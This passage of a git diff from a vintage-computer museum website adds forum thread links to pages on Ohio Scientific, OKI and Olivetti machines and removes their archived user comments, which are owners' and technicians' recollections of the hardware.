1-2, ED 1-4, BD 1-3, GD 5-10, WP6502U, WP3-2, WP3-1, OS-DMX, OS-Inventory, OS-DMS, OS-65U V1.42 - CD74 CD-36 MOS for Business, Demo Disk, Customer Demo, Dealer Demo. - - I used the system for word processing and BASIC development for the company I worked for. I programed a customer equipment reception, tracking, and billing system. This required hacking the OS to remove the ''LF'' at the end of each write to the serial terminals so the text could be kept at the same location and be updated. Great fun. - - I sold this system to my nephew in 1984. I think he still has it in storage. Don''t know. - - author: Mel Mosier ( ) - date: Saturday 14th May 2005 - text: |- - I had a Ohio Scientific C2-4P. I bought over the Apple which did not have floating point arithmetic unless you bought a 5 inch 37 KB floppy drive. Over the Radio Shack, whos keys tended to repeat, and\ - over the Comodore which had a non standard key arangement. It came with a keyboard made into the case. The C2-4P was ROM based with 8 K of Microsoft Basic on 3 chips. It had 4 K of RAM and sockets for an additional 4 K. It would read from and write to a audio cassette player. It would output video to a television but was much clearer outputting to a vidio monitor. It had a sound port which would make audio tones. oc_id: 839 source: url: https://web.archive.org/web/20230601180919/http://www.old-computers.com/museum/computer.asp?c=839 diff --git a/content/museum/ohio-scientific-challenger-1p.md b/content/museum/ohio-scientific-challenger-1p.md index 838708ac..336696ee 100644 --- a/content/museum/ohio-scientific-challenger-1p.md +++ b/content/museum/ohio-scientific-challenger-1p.md @@ -64,6 +64,7 @@ params: - photos - links - docs + forum_thread: 794 photos: - title: BACK SIDE subtitle: '' @@ -118,34 +119,6 @@ params:  type of document : PDF\  size : 1,3 MB\  source : www.old-computers.com - comments: - - author: Mike (Lovettsville, VA) - date: Sunday 3rd April 2016 - text: I have a OSI C1P II with the 610 and floppy. I also have all of the manuals and software for it. I am going to be selling and wanted to see if there was any interest in it before I put it on Ebay. - - author: harmon (Kent, Ohio USA) - date: Wednesday 8th July 2015 - text: |- - I bought a superboard in 1979, my first computer. I learned software and hardware from it.\ - I upgraded to 32K and a floppy.\ - I designed and built an interface to a 3 voice sound chip and a TI "sprite" color graphics chip.\ - I showed my color c1p to the OSI club in Cleveland, a group of business users, and they wondered why anyone would need colors! - - author: Dave Smith (USA) - date: Thursday 18th December 2014 - text: HI, I was a technician back then and worked for OSI. I repaired many of these units. I am interested in purchasing some of the older units C1P, C2P, etc. - - author: Chris - date: Sunday 22nd April 2012 - text: |- - My school (TSS, QLD) had a stack of these. Some had 1K, others had 4K, and we had one giant 8P machine with 2x 8" floppies. - - I acquired them all when they were decommissioned. I''ve still got them. - - author: Peter R Jensen (Sydney Australia) - date: Saturday 28th May 2005 - text: |- - I purchased a Superboard in 1979 and over the succeeding 4 years enhanced the machine until it ran two Fujitsu 8 inch drives each having a 1.2 megabyte capacity. The controller was built for me by Nigel Bisset who was a member of the Sydney user group for Ohio Scientific machines. In addition to this change, the Melbourne users produced a memory expansion board and video upgrade which I also used. An aluminium case was bent up and all the hardware went inside and an black text on green background sat on the case. It did not look so very different to the setup that I am now using for Internet communications except that of course it is colour and XVGA. - - The end result was a machine that was able to do wordprocessing using the Ohio Scientific programme and I started writing my first book that has still not been published. Later books were more successful. - - However, I found the wordprocessor was pretty flakey and I lost a number of important files. This persuaded me to switch to an Osborne 01 Greycase on which I could run Wordstar which was a quantum leap. About this time, Nigel Bisset went to a Macintosh and at this stage our computer paths diverged. He went on to use Apple products whereas I went progressively via CPM to MSDOS and ultimately Windows XP. What a change in 25 yea rs - absolutely incredible. related: - /museum/ohio-scientific-challenger-4p - /museum/ohio-scientific-challenger-ii diff --git a/content/museum/ohio-scientific-challenger-4p.md b/content/museum/ohio-scientific-challenger-4p.md index ce0dcaa0..bfcad6f4 100644 --- a/content/museum/ohio-scientific-challenger-4p.md +++ b/content/museum/ohio-scientific-challenger-4p.md @@ -64,6 +64,7 @@ params: - adverts - links - docs + forum_thread: 563 adverts: - title: U.S. ADVERT (1979) subtitle: '' @@ -145,30 +146,6 @@ params:  type of document : PDF\  size : 1,3 MB\  source : www.old-computers.com - comments: - - author: woody - date: Wednesday 20th March 2013 - text: |- - The very first program I ever sold, was to a guy named Cam. He paid me 20.00 to write it while I was still in college. Written for the IIP I think. I still have a cassette of it. Sneaky Snake. The basic premise was a random number popped up on the screen in a random spot. you had to move your snake with the arrow keys to get to the number and eat it. Then the snake would grow by 1 segment. The snake always followed it''s track, so as you moved it I had to locate and erase the last segment of the snake. The goal was to get the snake as long as possible. I especially loved the tank characters. This machine had a set of characters in the character set that were a tank, oriented in 8 different directions. It made writing tank style games really nifty. I obtained one of these from a friend back in the late 80''s. It, along with some other ancient machines, is still sitting in a box in my storage trailer....\ - One of these days I''m gonna dig it out and see if it still runs. Still one of my favorite old systems. - - author: Ron - date: Wednesday 24th November 2010 - text: Bought a C24P in 78...was a far superior unit to the Apple but they didn''t help out with program development and that was their downfall..along with not supplying them to colleges and universities like apple did...brilliant marketing move on their part... 19 years later walked into the control room for a nuclear fuel processing site and about fell over when I saw about 20 of these units humming along with the monitors displaying every move they made... turns out they had been controlling the operation for 10 years with no shutdowns of the plant...they were controlling every piece of the operation... temps, valves, switches, etc.... according to them the machines were bullet proof with extremely high reliability, etc.. a shame the company went belly up... I would have loved to see what they could have developed... - - author: daniel (fr) - date: Monday 18th October 2004 - text: exacte e-mail - - author: daniel (fr) - date: Monday 18th October 2004 - text: |- - i start update my c4p >> c4pmf and i\ - searche the us65u or us65d\ - for 505b board - - author: Steven R. Staton (McKinney, TX) - date: Tuesday 15th April 2003 - text: I had a C2-4P unit in 1980. I recall it had 24K of RAM, and the floppy drive unit (that was a box which sat on top of the Challenger case). My unit was sold by a Washington, D.C. dealer and procured by a relative who was a major investor in the dealership ... so the unit I got was damaged. My father, an EE, was able to discover that the motherboard had a UART already installed and ready to go with the snipping of a few jumpers. I wonder how many owners found this out? It was an abysimal system ... the floppy drive was so difficult to use that I essentially didn't touch it. I was able to learn rudimentary 6502 machine code on the computer, so it was of some value to me -- but I really wanted an Apple \]\[! - - author: Thomas Hillebrandt (Denmark) - date: Tuesday 1st October 2002 - text: Certain things indicate that the C4P is basically an OSI model 600 with a case. Can anyone verify this? related: - /museum/ohio-scientific-challenger-1p - /museum/ohio-scientific-challenger-ii diff --git a/content/museum/ohio-scientific-challenger-ii.md b/content/museum/ohio-scientific-challenger-ii.md index c733e926..c8c0756a 100644 --- a/content/museum/ohio-scientific-challenger-ii.md +++ b/content/museum/ohio-scientific-challenger-ii.md @@ -50,6 +50,7 @@ params: - photos - links - docs + forum_thread: 62 photos: - title: THE CHALLENGER II DISK SYSTEM subtitle: '' @@ -104,10 +105,6 @@ params:  type of document : PDF\  size : 1,3 MB\  source : www.old-computers.com - comments: - - author: ChallengermaN (Yugoslawia - Republic of Macedonia) - date: Friday 22nd April 2005 - text: I see this in 1985 in primary school in Macedonia. It was using for learning purposes. related: - /museum/ohio-scientific-challenger-1p - /museum/ohio-scientific-challenger-4p diff --git a/content/museum/ohio-scientific-challenger-iii.md b/content/museum/ohio-scientific-challenger-iii.md index a3757c2f..ef37e2e2 100644 --- a/content/museum/ohio-scientific-challenger-iii.md +++ b/content/museum/ohio-scientific-challenger-iii.md @@ -51,6 +51,7 @@ params: - adverts - links - docs + forum_thread: 63 photos: - title: STANDING RACK SYSTEMS subtitle: '' @@ -127,10 +128,6 @@ params:  type of document : PDF\  size : 1,3 MB\  source : www.old-computers.com - comments: - - author: Barry Hammer - date: Thursday 31st May 2012 - text: The company I work for owned to C3B computers. Each was a 3 user system with 80 Meg hardrives. One system was older and used less reliable boards. The newer had many less problems. Over time the two systems became one 5 user unit with 2 80 Meg hard drives. We ran that computer non stop 24 7 for serveral years after the OSI company was gone. All the boards had tin plate sockets and were fine as long as the unit remained running. If you had to power down for some reason, you had to open the unit up and remove all the chips from their boards. Clean and reseat them. Over the many years that I operated this computer I had changed out most of the sockets and connectors on the back plane with gold plated parts. When the computer was finally shut off for the last time it was a very reliable unit. Kind of sad tosee it gone. I wish I could find one. related: - /museum/ohio-scientific-challenger-1p - /museum/ohio-scientific-challenger-4p diff --git a/content/museum/ohio-scientific-challenger.md b/content/museum/ohio-scientific-challenger.md index 61591663..f0e946e9 100644 --- a/content/museum/ohio-scientific-challenger.md +++ b/content/museum/ohio-scientific-challenger.md @@ -52,6 +52,7 @@ params: value: 'depends on models: from $439 to $2599 in 1977' tabs: - adverts + forum_thread: 1276 adverts: - title: US ADVERT (JANUARY 1977) subtitle: '' diff --git a/content/museum/ohio-scientific-model-500.md b/content/museum/ohio-scientific-model-500.md index bc2b24fc..c043e0c2 100644 --- a/content/museum/ohio-scientific-model-500.md +++ b/content/museum/ohio-scientific-model-500.md @@ -46,6 +46,7 @@ params: value: 'Model 500: $298 - SuperKit: $398' tabs: - photos + forum_thread: 65 photos: - title: THE MODEL 500 SUPERKIT subtitle: '' @@ -55,13 +56,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/ohio_500_version1_1.jpg - comments: - - author: daniel (france) - date: Friday 25th July 2003 - text: |- - please i searche the spar part for this computer\ - osi (505 board and os65 v.3.3)\ - \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~ oc_id: 49 source: url: https://web.archive.org/web/20230327103016/http://www.old-computers.com/museum/computer.asp?c=49 diff --git a/content/museum/ohio-scientific-superboard-ii.md b/content/museum/ohio-scientific-superboard-ii.md index 9558e578..380de26d 100644 --- a/content/museum/ohio-scientific-superboard-ii.md +++ b/content/museum/ohio-scientific-superboard-ii.md @@ -63,6 +63,7 @@ params: - adverts - links - docs + forum_thread: 841 photos: - title: SYSTEM subtitle: '' @@ -140,48 +141,6 @@ params:  type of document : PDF\  size : 1,3 MB\  source : www.old-computers.com - comments: - - author: Terry Shingara (Harrisburg, PA, USA) - date: Thursday 26th March 2020 - text: Does anyone know where I can get the pin headers to plug into the superboard II - - author: Myk Dormer (United Kingdom) - date: Monday 25th June 2018 - text: |- - Also a Superboard II owner, a machine I fondly remember.\ - After a couple of years the masked roms developed a thermal fault (only worked when cold) but the documentation was so good that (even as a teenager) I was able to clone the whole machine onto a home made card-frame of veroboards (with the errant ROMs copied onto an eprom).\ - That machine probably taught me more than the engineering degree I later took :) - - author: Russ - date: Sunday 20th May 2018 - text: I still have mine, I got it when I was in college but I don''t remember what year, maybe 77 or 1978? - - author: jeff (Australia) - date: Wednesday 17th May 2017 - text: I have my original Superboard II on the wall in the shed. It no longer works due to Mr Rat releaving him self on the pcb. I had the hand soldered 64x40 character, 512x320 pixel graphics option. i have the work notes to go the mod somewhere. i will have a mint condition C1P and Orange ''green screen'' CRT $-) - - author: Andy B (Australia) - date: Wednesday 12th April 2017 - text: My first computer. Learned to code in BASIC and 6502 machine code. Wrote a ''snake'' type game and high-speed machine-code line drawing routines so that I could animate a rotating cube in real time. I expanded the memory to 12K by piggy-backing 2114 chips on top of the ones on the board and wiring up the chip $ pin to the address decoder chip. Good Times. Best story though is the night I brought it home from the store. It had been wrapped in tin foil - protection from static shock - so I though I''d just leave it sitting on the foil when I switched it on. Not a great idea. Fortunately, just blew the on-board fuse so I was back up and running in a few minutes. - - author: Ben Grimer - date: Thursday 9th March 2017 - text: I used to play games on this with my brother and write rudimentary basic programs. I played hectic and new York taxi (and became one of the elite !). - - author: Peter Ledger (Oldham England) - date: Wednesday 23rd January 2013 - text: I have just dragged my superboard II out of storage and intend getting it up and running again. I spent many happy hours programming ms basic with this dinosaur and hope to do so again - - author: Richard Scales (England) - date: Tuesday 6th November 2012 - text: I got one of these in 1979 and spent many many hours doing all kinds of things with it, programming basic and 6502 assembler as well as building memory boards and a disk controller. It has not been switched on for decades but it is still kept safe for a really rainy day! - - author: Paul (Canada) - date: Monday 3rd January 2011 - text: I bought a Supper Board II in 1979 and built a power supply and TV interface for it. I programmed it in Basic and Assembly Language for several years..learned a lot from that Computer. I also used a Compac 386 for a few years traveling with it. - - author: Andy Pagin (London UK) - date: Monday 22nd March 2010 - text: |- - I wrote my first ever program on one of these in about 1982. - - print "Hello World" - - Been a pro-developer ever since. - - author: Andy (England) - date: Wednesday 6th December 2006 - text: I worked on these in the early 80s. I threw mine out about 10 years ago and now regret it. Does anyone have one they'd like to give me? I'm suffering from severe nostalgia. related: - /museum/ohio-scientific-challenger-1p - /museum/ohio-scientific-challenger-4p diff --git a/content/museum/oki-a-10.md b/content/museum/oki-a-10.md index 939c956c..93990ac4 100644 --- a/content/museum/oki-a-10.md +++ b/content/museum/oki-a-10.md @@ -42,6 +42,7 @@ params: value: Built-in auto switch on PSU - label: PERIPHERALS value: 1 to 7 130 to 270 MB HDD + forum_thread: 404 oc_id: 406 source: url: https://web.archive.org/web/20221205122313/http://www.old-computers.com/museum/computer.asp?c=406 diff --git a/content/museum/oki-if-800.md b/content/museum/oki-if-800.md index f6822efc..1758f2f8 100644 --- a/content/museum/oki-if-800.md +++ b/content/museum/oki-if-800.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 109 photos: - title: OKI IF 800 subtitle: '' @@ -85,48 +86,6 @@ params: subtitle: '' text: '"A rainbow in your office"' image: /media/museum/pubs/oki_if800_pub-rainbow.jpg - comments: - - author: Karl Leaning (Auckland New Zealand) - date: Sunday 25th March 2012 - text: I was involved in a project to implement TurbDos on these machines. Yes it did have three blocks of video ram, but it was still one bit per bank, per pixel so you still only have 8 colours. The graphics library supplied supported dithering to create a greater colour palette. - - author: Adrian Pearson (USA) - date: Wednesday 2nd September 2020 - text: I found a USA advertisement for this BMC computer in a 1981 issue of Byte magazine. https://archive.org/details/byte-magazine-1981-04/page/n117/mode/2up - - author: Aleem (Pakistan) - date: Friday 4th November 2016 - text: When I was with Patfinder computers these were introduced and used for training at Comptrain - - author: Gary Sharp (Vietnam) - date: Saturday 2nd April 2016 - text: |- - Wow, that is a flashback - - I bought 4 of these for the Architecture Faculty of Newcastle University , must be early 1980''s to teach Arch students, Visicalc, Wordperfect $i think$ and basic graphics. I saw them in Japan and when invited to establish a computer studies course asked them to acquire these as they had basic graphics capability and were self contained. - - Then told the maths department we no longer needed their IBM360 and punchcards :) - - author: Omar Rodriguez (chile) - date: Wednesday 25th February 2015 - text: HELLO! any posibility to conect to usb or something, we have software in floppy and spectometer sps 1500 with 50 pin entry similar to ide entry. we want to continue using the spectometer. Saludos desde Chile. - - author: Omar Rodriguez (chile) - date: Wednesday 25th February 2015 - text: |- - wath software aply to function in DOS in a ICP AES SPS1500?\ - THANK - - author: Omar rodriguez (chile) - date: Thursday 5th February 2015 - text: |- - can i modernize the pc oki if 800 ex 110 f?\ - i want to fix it\ - send me please everything about this pc\ - than you - - author: Patrick (Canada) - date: Friday 17th December 2010 - text: I have one. It was my dad''s. I''ll have to give it a good clean up. - - author: James Tizard (USA) - date: Thursday 11th December 2008 - text: |- - On my first day in my first programming job I was given one of these in its box accompanied by an assembler and two compilers (Pascal $ FORTRAN). My task was to re-write an infra-red imaging and analysis system - and I had a year to do it. For technical documentation I had a blurry printout of the boot ROM.\ - The system had been bought for its colour graphics capability - and it really worked...you had three blocks of RAM for RGB$ from memory I recall it mapped two bits to each pixel - ie 16 colors, or 4 pixels per byte. To get more colors you could simulate 4 bits per pixel to get 128 colours (although many were identical) at half the pixel resolution. Great fun.\ - Mine also had a row of programmable function keys under the monitor, which I used to control the main menu of my imaging system. oc_id: 94 source: url: https://web.archive.org/web/20230601001458/http://www.old-computers.com/museum/computer.asp?c=94 diff --git a/content/museum/oki-if-com7.md b/content/museum/oki-if-com7.md index 054a95b5..cf4b3c50 100644 --- a/content/museum/oki-if-com7.md +++ b/content/museum/oki-if-com7.md @@ -56,6 +56,7 @@ params: value: Unknown - label: PRICE value: Unknown + forum_thread: 367 oc_id: 366 source: url: https://web.archive.org/web/20230416215953/http://www.old-computers.com/museum/computer.asp?c=366 diff --git a/content/museum/olivetti-a5.md b/content/museum/olivetti-a5.md index b8fc2a53..ab91b196 100644 --- a/content/museum/olivetti-a5.md +++ b/content/museum/olivetti-a5.md @@ -66,6 +66,7 @@ params: - photos - adverts - links + forum_thread: 1270 photos: - title: THE OLIVETTI A5 subtitle: '' @@ -94,137 +95,6 @@ params: - title: Olivetti - Storia du un'impresa url: http://www.storiaolivetti.it/fotogallery.asp?idPercorso=616&idOrd=17#viewfotogallery text: This website dedicated to Olivetti history and some info and nice pictures about the A5 and A7 systems - comments: - - author: jan (Melbourne) - date: Wednesday 16th March 2011 - text: I worked with this machine a5 in a banks stock and share dept. 6 7 years I was the main operator of 2 a5s I was full time and ended up with the dreaded RSI. A lot of data was with the numerical keyboard with my arm suspended I was quite fast some batches took 3 hours and I estimated 100,000 strokes on peak days . The a5 broke down a lot and the technician said they were not meant to do so much work. Data was recorded on a cassette and print out paper. It was fazed out 1983 with the VDUs installed. I have no photos I had 6 months off to recover from tenosynovitis and neck bursitis no compensation really only improving now with constant chiropractic new methods no work breaks then and because I was only one not good memories but a zippy machine that typed well on certificates and was a bit noisy. With the VDUs came ergonomic chairs - - author: william keesler (United States) - date: Wednesday 11th January 2023 - text: i worked on these from 1976 until 1979 they were very prone to breaking due to the large amount of mechanical assemblies in them. we sold them for 25000 including a desk and a brd dual disc drive half of the price was software half hardware. the brd disc drive was made in washington state and used 8 inch memorex hard sectored discs - - author: Pete Barnes (USA) - date: Wednesday 3rd January 2018 - text: |- - Worked for Olivetti USA as a Customer Software Rep., in 1976.\ - Had to approve (debug) the custom programs delivered by the programmers.\ - Very interesting debugging in Basic Assembly Language, and even weirder is that the BAL worked in Base-10. - - By the way those Paper/Mag cards were the only things I could never get people to believe existed. - - author: Ketzilla (Mumbai) - date: Tuesday 28th November 2017 - text: What a difference between todays computers and computers back then :O - - author: POK (New Zealand) - date: Thursday 10th August 2017 - text: |- - I worked on the A5 from 1979 as a programmer. Yes it used BAL - Basic Assembler Language.\ - I also spent time with the engineers and helped them pull many apart.\ - Because i had time on my hands when not programming the A5 I learnt the A4, P603 and Auditronic 1530 series. - - author: R J Grace (United Kingdom) - date: Saturday 29th July 2017 - text: I was engineer on A5 it was fun. Needed a lot of attention as it was not built to do what the programmers wanted it to do or what the salesmen told the customers it would do. We took them all back to retrofit with stronger components. We wanted them to work but sometimes they broke and this was not good for a machine that printed people''s pay slips. There was no shortage of effort to make them work but they just wouldn''t do what they were asked to do. Those were interesting times. - - author: Ken Macumber (Boston, MA) - date: Thursday 25th May 2017 - text: The Programma 101 was the first computer I ever used. I was in summer school in 1968 (junior high) and I wrote a program to calculate the area of a truncated triangular pyramid (I was a math geek). It got me addicted to computers! - - author: Manuel L. Dominguez A. (Spain) - date: Monday 14th September 2015 - text: |- - They both were my first computers at work: an Olivetti Audit 5 and an Olivetti BCS 2030. Used for accountancy and invoicing. - - "My" BCS 2030 was equipped with 4K of RAM (on a memory board bigger than a whole actual ATX PC)\ - I don''t know about the A5 total memory. - - Both of them equipped with 2 units of 8 inches floppies and magnetic card readers.\ - We shared programs on the floppies and information about clients / suppliers between the computers on those cards$ surprisingly, manual ordering and search of the cards, not very clever. - - They were the reason I studied and programming and change my life, but I''ve never found again that language (or pseudo?) the programs were written in B.A.L. (for Basic Assembly Language). - - author: Gary VanderPutten (Brooklyn, USA) - date: Monday 1st June 2015 - text: This was the first computer I ever programmed - it was 1974 at Olivetti NY. It was programmed in an IBM based assembler and machine language and had sufficient instructions set to address a wide variety of small business application. We relied heavily on logical orations to get the most out of the 2k of usable ram. The machine had a realtime interpreter of code manually entered into the machine. It taught a lot about programing. I loved it and could make it fly. - - author: Gary VanderPutten (Brooklyn, USA) - date: Monday 1st June 2015 - text: This was the first computer I ever programmed - it was 1974 at Olivetti NY. It was programmed in an IBM based assembler and machine language and had sufficient instructions set to address a wide variety of small business application. We relied heavily on logical orations to get the most out of the 2k of usable ram. The machine had a realtime interpreter of code manually entered into the machine. It taught a lot about programing. I loved it and could make it fly. - - author: Gary VanderPutten (Brooklyn, USA) - date: Monday 1st June 2015 - text: This was the first computer I ever programmed - it was 1974 at Olivetti NY. It was programmed in an IBM based assembler and machine language and had sufficient instructions set to address a wide variety of small business application. We relied heavily on logical orations to get the most out of the 2k of usable ram. The machine had a realtime interpreter of code manually entered into the machine. It taught a lot about programing. I loved it and could make it fly. - - author: Michele Bordanzi (ITALY) - date: Tuesday 17th March 2015 - text: |- - Hi,\ - We have a OLIVETTI A5 in our office, we are a Study of Business Consultant and Public Accountants, the studio is run by my father and myself, my father bought this wonderful product in the early years of our study, (at the time, cost as much as a Ferrari, it’s not a joke.. ) was a major investment, after being used for many years, with the arrival of PC, Laptop, Tablet etc this machine was shut in stock and submerged by a thousand other items obsolete.\ - Aesthetically was not damaged, the electronic part is to be reviewed, I would like to know if any of you know someone interested in purchasing this machine or what could be the value in the vintage market , for individuals, associations or even a pawnshop, thanks Michele - - author: Michele Bordanzi (ITALY) - date: Tuesday 17th March 2015 - text: |- - Hi,\ - We have a OLIVETTI A5 in our office, we are a Study of Business Consultant and Public Accountants, the studio is run by my father and myself, my father bought this wonderful product in the early years of our study, (at the time, cost as much as a Ferrari, it’s not a joke.. ) was a major investment, after being used for many years, with the arrival of PC, Laptop, Tablet etc this machine was shut in stock and submerged by a thousand other items obsolete.\ - Aesthetically was not damaged, the electronic part is to be reviewed, I would like to know if any of you know someone interested in purchasing this machine or what could be the value in the vintage market , for individuals, associations or even a pawnshop, thanks Michele - - author: Glenda (Sydney, Australia) - date: Friday 23rd January 2015 - text: I worked in a real estate office in the late 70''s early 80''s and we used the Olivetti A5 for trusting accounting. Each tenant had a card with a narrow magnetic strip and each owner had one as well. To receive the rent you would take their ledger card and wrap a receipt around the ledger card and $ it into the machine and then you would input the last 2 digit number and then $ the magnet card into the slot and then put the amount of rent etc and then it would print out your receipt and update the magnetic card. At the end of the month doing the landlord statements you would $ the blank owner statement and their magnetic card which would fill in their details and then you would put each tenants card through to add onto the owners statement. Thinking back it was time consuming and took a couple of days as we had a large rent roll and it would print out the ledgers as well and you had to add them manually to balance your trust a/c. Remember it being very noisy the constant golf ball - tapping away. Certainly is a lot easier all done in an hour or two. - - author: Tim (Denver CO, USA) - date: Monday 9th December 2013 - text: I was reading about the Babbage Difference Engine, a mechanical computer designed in the 19th century and it reminded me of the A5s i used to work on in the early 1980s. They took lots of care to keep running and when the mechanical interface would lock up, pieces and parts flew everywhere. You needed a strong back to take one of these back to the shop!! - - author: Tom (Rochester NY, USA) - date: Thursday 29th August 2013 - text: I just ran across my A5 training certificate. I worked in Boston, and was excited to get trained on it, but what a let down when I found out what it looked like inside. They also tried to come out with a typewriter that shared the same type ball as the A5 - enormous mistake, like trying to type with a Mack truck. In addition to insurmountable mechanical problems there were unsolvable software problems. The interpreter did not reliably execute the code as one would expect. Example. a business with several accounts would want to update data on mag stripe cards (one per account) based on activity, e.g. product delivery or payment. You read the card for current data, enter activity data, update and print the account data, and pass the card through to record the updated info. However the card would not get the new info and there was no notice to the operator who would then put in the card for the next account. Well the previous account''s data would then be written to the next account''s - card, destroying that next account''s record. What a nightmare for the business owner. Also, salesmen sold them miles away from where we were based. Some of my service calls took me 2 hours driving each way. - - author: Steve (Shreveport, Louisiana USA) - date: Monday 7th January 2013 - text: I went to work for a small Olivetti franchise in Shreveport, after getting out of the Air Force in 1974. I was trained on the P603 accounting computer, a real hay baler. When the A5 came out one of the other techs was sent to school to be trained on it (there were only three of us and the shop manager). When the first unit arrived at the company, we took the covers off, and the first words out of my mouth were "Oh, my God, you NEVER mate nylon to metal like this," as I looked at the camshafts fitted with nylon gears meshing with metal gears, and watching the start/stop/reverse motion of the camshafts. Within a few months, the tech trained on the machine quit, so I had to make the service calls on the machines, not even being trained on the A5. Sure enough, the metal gears started shredding the nylon ones. Within a few months, I found another job and happily left that nightmare. The service manager told me years later the A5 almost bankrupted the small company, which went out of - business when electronic computers came out. - - author: Ted (New York City, NY, USA) - date: Tuesday 20th November 2012 - text: I programmed the A5 in New York City in the late 1970''s at first with the ''national'' staff and then NYC sales office, both at 500 Park Avenue. The BAL language was a subset, at best. of IBM-type mainframe BAL and didn''t help in getting a mainframe job from there. The company had standard ''turnkey'' accounting programs (payables, receivables, payroll, all with reporting capabilities) but every customer wanted them customized and no salesman ever turned down a request, costing enough programming hours to probably kill any profit. This was my first job (though I started with their P-603) and it did make me realize the possibilities involved in such machines. Once a bookkeeper/secretary got over her fear of the thing she''d complain of the extra entries needed every day per transaction, on top of having to enter records (mag cards) for each account. But when monthly reporting time came it would shave a day and a half off the process. But, as stated, this depended on the machine - not breaking down or the continuous sprocket-feed paper not running off the ''rails''. So in the end it was a bust, but again, I gained insight on how it COULD have been great. I liked the modern look of the machine and especially the lights above the keyboard which were in groups of four so that a hexadecimal number would light up the right combo of lights in each bank - to signify an error, prompt an action by the operator (what to enter next, or when to feed in the next program module, such as Daily Totals'' into the mag card reader. You''d read the new code in at a certain memory point making sure not to overwrite the part of the old code that told the program where to jump to in the newly entered module. Not a lot of memory to work with as you can imagine. Only later were 8" floppy drives added. I saw cassette units later on, too, and did work with them briefly for data. These were, of course, for sequential data, just as the big tape units were on big IBM 360''s I worked with - later, using COBOL in my next job, so that was good experience. The big floppy disks (which really were floppy) relieved the need to load program modules via mag-stripe cards. I don''t recall using them for data per se. - - author: Simon (Leicester, UK) - date: Sunday 30th September 2012 - text: |- - I was a service engineer on the A5 in the early 80''s, had an ex- Olivetti mentor (Chris) who knew the machine inside out, and could diagnose a fault over the phone and describe exactly how I should fix it.\ - It had an electro-mechanical interface, with a series of electro magnets, cams, shafts and levers, all of which wore out on a regular basis.\ - It came (IIRC) with 1/2k, 2k or 4k of ram, and the mag stripe cards held 255 bytes of information(!!)- enough to store the customers name and address and the closing balance.\ - One Budget killed off the A5 almost overnight, when it was no longer able to do payroll, but gave me the opportunity to move on to REAL electronic computers... - - author: DEVISE (france) - date: Wednesday 15th August 2012 - text: |- - built in language for A was "BAL" (basic assembled language)\ - 2 printing colors (black and red) with a ball as head printer - - author: Dan E. (NV / USA) - date: Saturday 26th May 2012 - text: I was an Olivetti dealer in the mid-70''s, and the A5 was an interesting computer to program and service. I was the sales person, programmer, and service technician. My first hire was a service tech after selling three systems because it did require a lot of support. The six week training program was in Tarrytown NY (home of Washington Irving) and Sleepy Hollow is just down the road. I programmed California Payroll in the basic assembly language, which is nothing like BASIC, and more like assembly. Applications also included Leasing Contracts of Auto Sales, Garbage Billing, Pharmacy, Credit Card Processing, Wholesale Distribution, John Deere Tractor Accounting, and much more. It competed with NCR and Burroughs accounting machines because it supported ledger card posting along with magnetic card storage. Many companies wanted electronic computers but did not want to give up the paper ledgers. Interesting times. - - author: David Boxold (Shropshire UK) - date: Friday 11th November 2011 - text: |- - I worked for Olivetti as a service engineer from 1979 till 1998. The first few years were spent servicing audit 5 machines.\ - The training course was six weeks duration most of which was spent learning how the printer worked. The digital signal sent by the logic was interpreted by a series of electromagnets that set of a train of events that resulted in either a tabulation of the print head to a predetermined position or $ion of a character on the golf ball print head followed by a print operation. I am still amazed at the complex design and speed of operation of this printer. In the centre of this array of cams, sliders and rotating parts was the “tab barrel $ gears”. These were 3 plastic components that regularly wore away and needed to be replaced. It became a challenge to attempt to carry out the job in under 2 hours. I still have some manuals and mag-cards and even a micro-8 logic as a reminder of happy hours spent in a challenging but happy environment. - - author: Bryan Mehus - date: Saturday 22nd October 2011 - text: |- - I don''t know what made me ''google'' the audit 5. I was a technician with Olivetti in the late 70s. They weighed about 70lbs. The printer interface was a bear, so many moving parts, IBMs ball printer was much more elegant. Clients loked it because the printer hit hard enough to go through several copies. Most of the machines I worked on were for posting ledgers in banks, but some city halls and even a provincial prison had them. There was a two 8" floppy bay that could be had, but they were expensive so most people just used the 256byte cards or the ctu(cassette tape unit). We called the language BAL basic assembler language, if I recall it did seem like most basic languages at the time. Breakdowns were prevelant, thus my full time job covering the NE corner of Alberta.\ - Bryan - - author: Gianni Donadel (Conegliano italy) - date: Tuesday 23rd August 2011 - text: |- - I begin with A5 too.\ - No 2kb of memory, but 1984 bytes!\ - 8 magnetic card (for read it the $1 and $3 slide on: Read Magnetic Card or Write Magnetic Card.\ - 7 with 256 bytes and the last one with 192.\ - Code+data on that memory!\ - I''ve again my first prog (flow chart and instruction).\ - Ciao\ - Gianni - - author: Gary VP (US (New York)) - date: Friday 10th June 2011 - text: This was the first computer I ever programed, and yes it was a mess of gears as well - still have a tool kit for it. It used a variant of IBM assembler, had a built in interpretor, and had 2k of memory to play with. We wrote some pretty heavy accounting and invoicing application on this - I loved that clanker. - - author: Randy Larson (USA) - date: Tuesday 26th April 2011 - text: |- - I went to olivetti school on the a5 for 6 weeks,\ - these things were so bad about stripping gears, i could tear one down and put it back together in about an hour. we used them mainly for accounting and water billing systems. - - they were fun to watch , we had a program to test that would pinp pong back and forth come to the middle and go back , if it survived that it would work for a fews days. - - we replaced them with a system called the brd , oc_id: 1305 source: url: https://web.archive.org/web/20230606192537/http://www.old-computers.com/museum/computer.asp?c=1305 diff --git a/content/museum/olivetti-ets-1010.md b/content/museum/olivetti-ets-1010.md index 90ebdaa8..a3120f7e 100644 --- a/content/museum/olivetti-ets-1010.md +++ b/content/museum/olivetti-ets-1010.md @@ -60,45 +60,12 @@ params: value: Unknow tabs: - photos + forum_thread: 485 photos: - title: REAR subtitle: '' text: '' image: /media/museum/photos/olivetti_006a_2.jpg - comments: - - author: LubikCZ (Liberec / Czech republic) - date: Wednesday 26th October 2016 - text: Hello, I would like to ask about on the type designation of the keyboard to the computer Olivetti ETS 2010 (http://www.storiaolivetti.it/upload/ets2010_a.jpg). I have this computer and monitor, but I do not have a keyboard, and here in the Czech Republic can not get and therefore need to look around Europe and farther into the world. Thank you for your help. Sincerely Lubos Janku of the Czech Republic. - - author: James Dye (New Jersey, USA) - date: Sunday 2nd December 2012 - text: I worked at Syntrex 1985-86 on the production floor and in customer service. Most of the units we built had zodiac names. The terminals were called Aquarius and I think the hard drive cabinets were Geminis. The 